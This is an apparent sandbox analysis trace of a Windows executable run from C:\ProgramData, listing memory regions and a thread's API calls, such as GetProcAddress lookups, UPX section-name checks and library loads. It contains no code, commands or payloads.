start_va = 0x25dd5380000
end_va = 0x25dd5380fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5380000"
filename = ""
Region:
id = 1118
start_va = 0x25dd5390000
end_va = 0x25dd5390fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5390000"
filename = ""
Region:
id = 1119
start_va = 0x25dd5840000
end_va = 0x25dd59c0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd5840000"
filename = ""
Region:
id = 1120
start_va = 0x25dd59d0000
end_va = 0x25dd6dcffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000025dd59d0000"
filename = ""
Region:
id = 1121
start_va = 0x7ffc6fd30000
end_va = 0x7ffc6fd9afff
monitored = 0
entry_point = 0x7ffc6fd490c0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1122
start_va = 0x25dd53a0000
end_va = 0x25dd53dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd53a0000"
filename = ""
Region:
id = 1123
start_va = 0x25dd55a0000
end_va = 0x25dd55bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd55a0000"
filename = ""
Region:
id = 1124
start_va = 0x25dd56a0000
end_va = 0x25dd56affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd56a0000"
filename = ""
Region:
id = 1125
start_va = 0x25dd6dd0000
end_va = 0x25dd6ecffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd6dd0000"
filename = ""
Region:
id = 1126
start_va = 0x25dd6ed0000
end_va = 0x25dd76cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd6ed0000"
filename = ""
Region:
id = 1127
start_va = 0x25dd76d0000
end_va = 0x25ddb6cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd76d0000"
filename = ""
Region:
id = 1128
start_va = 0x25ddb6d0000
end_va = 0x25dfb6cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025ddb6d0000"
filename = ""
Region:
id = 1129
start_va = 0x25dfb6d0000
end_va = 0x25dfbecffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dfb6d0000"
filename = ""
Region:
id = 1130
start_va = 0xc000000000
end_va = 0xc0003fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000c000000000"
filename = ""
Region:
id = 1131
start_va = 0x25dfbed0000
end_va = 0x25dfc6cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dfbed0000"
filename = ""
Region:
id = 1132
start_va = 0x25dd55c0000
end_va = 0x25dd55e1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd55c0000"
filename = ""
Region:
id = 1134
start_va = 0x25dfc6d0000
end_va = 0x25dfc7cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dfc6d0000"
filename = ""
Region:
id = 1135
start_va = 0x25dd55f0000
end_va = 0x25dd55fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd55f0000"
filename = ""
Region:
id = 1136
start_va = 0x25dd5600000
end_va = 0x25dd560ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5600000"
filename = ""
Region:
id = 1202
start_va = 0x7ffc6e2e0000
end_va = 0x7ffc6e32afff
monitored = 0
entry_point = 0x7ffc6e2e35f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 1203
start_va = 0xd17c600000
end_va = 0xd17c7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17c600000"
filename = ""
Region:
id = 1204
start_va = 0xd17c800000
end_va = 0xd17c9fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17c800000"
filename = ""
Region:
id = 1205
start_va = 0x25dd5610000
end_va = 0x25dd564ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5610000"
filename = ""
Region:
id = 1206
start_va = 0xd17ca00000
end_va = 0xd17cbfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17ca00000"
filename = ""
Region:
id = 1207
start_va = 0xd17cc00000
end_va = 0xd17cdfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17cc00000"
filename = ""
Region:
id = 1247
start_va = 0xd17ce00000
end_va = 0xd17cffffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000d17ce00000"
filename = ""
Region:
id = 1644
start_va = 0x25dd5650000
end_va = 0x25dd568ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dd5650000"
filename = ""
Region:
id = 1645
start_va = 0x25dfc7d0000
end_va = 0x25dfc82bfff
monitored = 0
entry_point = 0x25dfc7e6f70
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1646
start_va = 0x25dd5690000
end_va = 0x25dd5692fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")
Region:
id = 1647
start_va = 0x25dd5690000
end_va = 0x25dd5692fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")
Region:
id = 1648
start_va = 0x25dfc7d0000
end_va = 0x25dfc82bfff
monitored = 0
entry_point = 0x25dfc7e6f70
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1649
start_va = 0x25dd5690000
end_va = 0x25dd5699fff
monitored = 0
entry_point = 0x25dd56915c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll")
Region:
id = 1650
start_va = 0x25dfc7d0000
end_va = 0x25dfc7d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui")
Region:
id = 1651
start_va = 0x25dd5690000
end_va = 0x25dd5699fff
monitored = 0
entry_point = 0x25dd56915c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll")
Region:
id = 1652
start_va = 0x25dfc7d0000
end_va = 0x25dfc7d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui")
Region:
id = 2040
start_va = 0x25dfc7d0000
end_va = 0x25dfc80ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000025dfc7d0000"
filename = ""
Thread:
id = 125
os_tid = 0x1360
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="AddVectoredExceptionHandler") returned 0x7ffc71d12650
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="AreFileApisANSI") returned 0x7ffc6fca4820
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CloseHandle") returned 0x7ffc6fcad650
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateEventA") returned 0x7ffc6fcad6a0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateFileA") returned 0x7ffc6fcad8a0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateFileMappingA") returned 0x7ffc6fca1810
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateFileMappingW") returned 0x7ffc6fca3af0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateFileW") returned 0x7ffc6fcad8b0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateIoCompletionPort") returned 0x7ffc6fca4440
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateMutexW") returned 0x7ffc6fcad710
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateThread") returned 0x7ffc6fca16f0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateWaitableTimerA") returned 0x7ffc6fca8600
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateWaitableTimerExW") returned 0x7ffc6fcad740
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="DeleteCriticalSection") returned 0x7ffc71cf99d0
[0063.543] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="DeleteFileA") returned 0x7ffc6fcad8d0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="DeleteFileW") returned 0x7ffc6fcad8e0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="DuplicateHandle") returned 0x7ffc6fcad660
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="EnterCriticalSection") returned 0x7ffc71cce600
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="ExitProcess") returned 0x7ffc6fca4d80
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FlushFileBuffers") returned 0x7ffc6fcad9d0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FlushViewOfFile") returned 0x7ffc6fca9150
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FormatMessageA") returned 0x7ffc6fcaa9c0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FormatMessageW") returned 0x7ffc6fca45c0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FreeEnvironmentStringsW") returned 0x7ffc6fca67a0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="FreeLibrary") returned 0x7ffc6fca4810
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetConsoleMode") returned 0x7ffc6fcadfa0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetCurrentProcess") returned 0x7ffc6fc9b7c0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetCurrentProcessId") returned 0x7ffc6fc9b4a0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetCurrentThreadId") returned 0x7ffc6fc9b460
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetDiskFreeSpaceA") returned 0x7ffc6fcad9e0
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetDiskFreeSpaceW") returned 0x7ffc6fcada10
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetEnvironmentStringsW") returned 0x7ffc6fca6790
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileAttributesA") returned 0x7ffc6fcada40
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileAttributesExW") returned 0x7ffc6fcada60
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileAttributesW") returned 0x7ffc6fcada70
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileSize") returned 0x7ffc6fcada90
[0063.544] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFullPathNameA") returned 0x7ffc6fcadaf0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFullPathNameW") returned 0x7ffc6fcadb00
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetLastError") returned 0x7ffc6fc9b710
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetProcAddress") returned 0x7ffc6fca0b80
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetProcessAffinityMask") returned 0x7ffc6fca1660
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetProcessHeap") returned 0x7ffc6fc9d4f0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetQueuedCompletionStatusEx") returned 0x7ffc6fc81020
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetStartupInfoA") returned 0x7ffc6fca5d70
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetStdHandle") returned 0x7ffc6fca3e80
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetSystemDirectoryA") returned 0x7ffc6fca3540
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetSystemInfo") returned 0x7ffc6fca6720
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetSystemTime") returned 0x7ffc6fca0580
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetSystemTimeAsFileTime") returned 0x7ffc6fc9df70
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetTempPathA") returned 0x7ffc6fcadb40
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetTempPathW") returned 0x7ffc6fcadb50
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetThreadContext") returned 0x7ffc6fca6780
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetTickCount") returned 0x7ffc6fc9b4c0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetVersionExA") returned 0x7ffc6fca7450
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetVersionExW") returned 0x7ffc6fca6be0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapAlloc") returned 0x7ffc71cc52d0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapCompact") returned 0x7ffc6fcc6020
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapCreate") returned 0x7ffc6fca72b0
[0063.545] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapDestroy") returned 0x7ffc6fca90c0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapFree") returned 0x7ffc6fc9b480
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapReAlloc") returned 0x7ffc71cc39f0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapSize") returned 0x7ffc71cbb780
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="HeapValidate") returned 0x7ffc6fca3730
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="InitializeCriticalSection") returned 0x7ffc71d0ced0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LeaveCriticalSection") returned 0x7ffc71cceb00
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LoadLibraryA") returned 0x7ffc6fca74d0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LoadLibraryW") returned 0x7ffc6fca50f0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LocalFree") returned 0x7ffc6fc9dd10
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LockFile") returned 0x7ffc6fcadba0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LockFileEx") returned 0x7ffc6fcadbb0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="MapViewOfFile") returned 0x7ffc6fca4860
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="MultiByteToWideChar") returned 0x7ffc6fc9d500
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="OutputDebugStringA") returned 0x7ffc6fcaa300
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="OutputDebugStringW") returned 0x7ffc6fca0da0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="PostQueuedCompletionStatus") returned 0x7ffc6fca31f0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="QueryPerformanceCounter") returned 0x7ffc6fc9b720
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="ReadFile") returned 0x7ffc6fcadbd0
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="ResumeThread") returned 0x7ffc6fca4e70
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="RtlAddFunctionTable") returned 0x7ffc6fca6a10
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="RtlCaptureContext") returned 0x7ffc6fcad410
[0063.546] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="RtlLookupFunctionEntry") returned 0x7ffc6fca6e60
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="RtlVirtualUnwind") returned 0x7ffc6fcaa410
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetConsoleCtrlHandler") returned 0x7ffc6fcae020
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetEndOfFile") returned 0x7ffc6fcadc20
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetErrorMode") returned 0x7ffc6fca3ac0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetEvent") returned 0x7ffc6fcad7f0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetFilePointer") returned 0x7ffc6fcadc60
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetProcessPriorityBoost") returned 0x7ffc6fcaa3a0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetThreadContext") returned 0x7ffc6fcac890
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetUnhandledExceptionFilter") returned 0x7ffc6fca6ea0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SetWaitableTimer") returned 0x7ffc6fcad800
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="Sleep") returned 0x7ffc6fc9b7b0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SuspendThread") returned 0x7ffc6fca6730
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SwitchToThread") returned 0x7ffc6fc9e370
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="SystemTimeToFileTime") returned 0x7ffc6fca7290
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="TerminateProcess") returned 0x7ffc6fca8cf0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="TlsGetValue") returned 0x7ffc6fc9b450
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="TryEnterCriticalSection") returned 0x7ffc71cf0d20
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="UnhandledExceptionFilter") returned 0x7ffc6fcc6a20
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="UnlockFile") returned 0x7ffc6fcadca0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="UnlockFileEx") returned 0x7ffc6fcadcb0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="UnmapViewOfFile") returned 0x7ffc6fca4ce0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="VirtualAlloc") returned 0x7ffc6fca28c0
[0063.547] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="VirtualFree") returned 0x7ffc6fca32a0
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="VirtualProtect") returned 0x7ffc6fca3a90
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="VirtualQuery") returned 0x7ffc6fca3c10
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WaitForMultipleObjects") returned 0x7ffc6fcad820
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WaitForSingleObject") returned 0x7ffc6fcad840
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WaitForSingleObjectEx") returned 0x7ffc6fcad850
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WideCharToMultiByte") returned 0x7ffc6fc9b490
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WriteConsoleW") returned 0x7ffc6fcae050
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="WriteFile") returned 0x7ffc6fcadcc0
[0063.548] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="__C_specific_handler") returned 0x7ffc71d35700
[0063.548] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x7ffc6f4d0000
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__getmainargs") returned 0x7ffc6f4d7a20
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__initenv") returned 0x7ffc6f5637a8
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__iob_func") returned 0x7ffc6f50cf20
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__lconv_init") returned 0x7ffc6f4fae00
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__set_app_type") returned 0x7ffc6f4fae80
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="__setusermatherr") returned 0x7ffc6f5374c0
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_acmdln") returned 0x7ffc6f5637a0
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_amsg_exit") returned 0x7ffc6f50a270
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_beginthread") returned 0x7ffc6f50ad40
[0063.548] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_beginthreadex") returned 0x7ffc6f50af60
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_cexit") returned 0x7ffc6f50a2f0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_endthreadex") returned 0x7ffc6f50b0c0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_errno") returned 0x7ffc6f4d7dc0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_fmode") returned 0x7ffc6f5638b4
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_initterm") returned 0x7ffc6f50a600
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_localtime64") returned 0x7ffc6f531e80
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="_onexit") returned 0x7ffc6f4fa6d0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="abort") returned 0x7ffc6f4fef10
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="calloc") returned 0x7ffc6f4e9b30
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="exit") returned 0x7ffc6f50a8f0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="fprintf") returned 0x7ffc6f516e70
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="free") returned 0x7ffc6f4e9b80
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="fwrite") returned 0x7ffc6f51db90
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="malloc") returned 0x7ffc6f4e9bd0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="memcmp") returned 0x7ffc6f52c220
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="memcpy") returned 0x7ffc6f543a80
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="memmove") returned 0x7ffc6f543a80
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="memset") returned 0x7ffc6f543dc0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="qsort") returned 0x7ffc6f4ff6b0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="realloc") returned 0x7ffc6f4e9cb0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="signal") returned 0x7ffc6f4fab70
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="strcmp") returned 0x7ffc6f52c4f0
[0063.549] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="strcspn") returned 0x7ffc6f52c630
[0063.550] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="strlen") returned 0x7ffc6f52c6e0
[0063.550] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="strncmp") returned 0x7ffc6f52ca40
[0063.550] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="strrchr") returned 0x7ffc6f52ce30
[0063.550] GetProcAddress (hModule=0x7ffc6f4d0000, lpProcName="vfprintf") returned 0x7ffc6f5199d0
[0063.556] VirtualProtect (in: lpAddress=0x1290000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xd17c3ffc50 | out: lpflOldProtect=0xd17c3ffc50*=0x4) returned 1
[0063.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd17c3ffc10 | out: lpSystemTimeAsFileTime=0xd17c3ffc10*(dwLowDateTime=0x80bc52f1, dwHighDateTime=0x1d96e12))
[0063.844] GetCurrentProcessId () returned 0x135c
[0063.844] GetCurrentThreadId () returned 0x1360
[0063.844] GetTickCount () returned 0x14e2a63
[0063.844] QueryPerformanceCounter (in: lpPerformanceCount=0xd17c3ffc18 | out: lpPerformanceCount=0xd17c3ffc18*=2206223155713) returned 1
[0063.844] GetStartupInfoA (in: lpStartupInfo=0xd17c3ffba0 | out: lpStartupInfo=0xd17c3ffba0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\23111707348706201124.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0064.051] __set_app_type (_Type=0x2)
[0064.051] __getmainargs (in: _Argc=0x2059028, _Argv=0x2059020, _Env=0x2059018, _DoWildCard=0, _StartInfo=0x2059004 | out: _Argc=0x2059028, _Argv=0x2059020, _Env=0x2059018) returned 0
[0064.051] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x182b650) returned 0x0
[0064.052] strlen (_Str=".pdata") returned 0x6
[0064.052] strncmp (_Str1="UPX0", _Str2=".pdata", _MaxCount=0x8) returned 1
[0064.052] strncmp (_Str1="UPX1", _Str2=".pdata", _MaxCount=0x8) returned 1
[0064.052] strncmp (_Str1="UPX2", _Str2=".pdata", _MaxCount=0x8) returned 1
[0064.052] RtlAddFunctionTable (FunctionTable=0x20c2de0, EntryCount=0x2, BaseAddress=0x1290000, TargetGp=0x0) returned 1
[0064.052] malloc (_Size=0x10) returned 0x25dd56a1370
[0064.052] strlen (_Str="C:\\ProgramData\\23111707348706201124.exe") returned 0x27
[0064.052] malloc (_Size=0x28) returned 0x25dd56a1390
[0064.052] memcpy (in: _Dst=0x25dd56a1390, _Src=0x25dd56a1340, _Size=0x28 | out: _Dst=0x25dd56a1390) returned 0x25dd56a1390
[0064.052] _onexit (_Func=0x1291550) returned 0x1291550
[0064.841] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffc6fc80000
[0064.841] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="AddDllDirectory") returned 0x7ffc6e4b8030
[0064.841] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="AddVectoredContinueHandler") returned 0x7ffc71d2deb0
[0064.841] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LoadLibraryExA") returned 0x7ffc6fca6b80
[0064.841] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="LoadLibraryExW") returned 0x7ffc6fca0dd0
[0064.841] GetSystemDirectoryA (in: lpBuffer=0x20b3860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
[0064.841] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc71ae0000
[0066.604] GetProcAddress (hModule=0x7ffc71ae0000, lpProcName="SystemFunction036") returned 0x7ffc6dd61a10
[0066.609] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc71ca0000
[0066.609] GetProcAddress (hModule=0x7ffc71ca0000, lpProcName="NtWaitForSingleObject") returned 0x7ffc71d44dc0
[0066.609] GetProcAddress (hModule=0x7ffc71ca0000, lpProcName="RtlGetCurrentPeb") returned 0x7ffc71d2e020
[0066.610] GetProcAddress (hModule=0x7ffc71ca0000, lpProcName="RtlGetNtVersionNumbers") returned 0x7ffc71d21750
[0066.610] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc6cae0000
[0066.762] GetProcAddress (hModule=0x7ffc6cae0000, lpProcName="timeBeginPeriod") returned 0x7ffc6cae3060
